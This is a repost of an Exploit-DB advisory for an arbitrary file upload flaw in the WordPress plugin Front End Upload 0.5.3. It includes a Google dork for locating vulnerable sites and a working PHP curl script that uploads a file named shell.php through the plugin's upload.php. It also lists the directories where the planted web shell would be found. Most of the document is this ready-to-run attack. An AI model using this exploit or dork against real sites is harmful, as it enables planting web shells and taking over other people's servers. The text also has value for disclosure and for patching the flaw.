WordPress Plugin Front End Upload 0.5.3 – Arbitrary File Upload - 体验盒子

作者： Adrien Thierry

日期： 2012-06-07

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/19008/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

# Exploit Title: WordPress front-end-upload 0.5.3 Arbitrary File Upload

# Google Dork: inurl:wp-content/plugins/front-end-upload/

# Date: 31/05/2012

# Exploit Author: Adrien Thierry

# Vendor Homepage: http://mondaybynoon.com/20120102/announcing-front-end-upload-wordpress-plugin/

# Software Link: http://downloads.wordpress.org/plugin/front-end-upload.0.5.3.zip

# Version: 0.5.3

*** FRONT-END-UPLOAD PRO is probably vulnerable ***

page upload.php is vulnerable to Remote File Upload. Code :

<?php

$u="whatelse.php";

$c = curl_init("http://server/wp-content/plugins/front-end-upload/upload.php");

curl_setopt($c, CURLOPT_POST, true);

curl_setopt($c, CURLOPT_POSTFIELDS,

array('file'=>"@$u",'name'=>"shell.php"));

curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);

$e = curl_exec($c);

curl_close($c);

echo $e;

?>

If plugin isn't active, shell could be found at :

http://server/wp-content/plugins/front-end-upload/FEU_DESTINATION_DIR/shell.php

else

http://server/wp-content/uploads/iti_feu_uploads/shell.php

#########################################################################################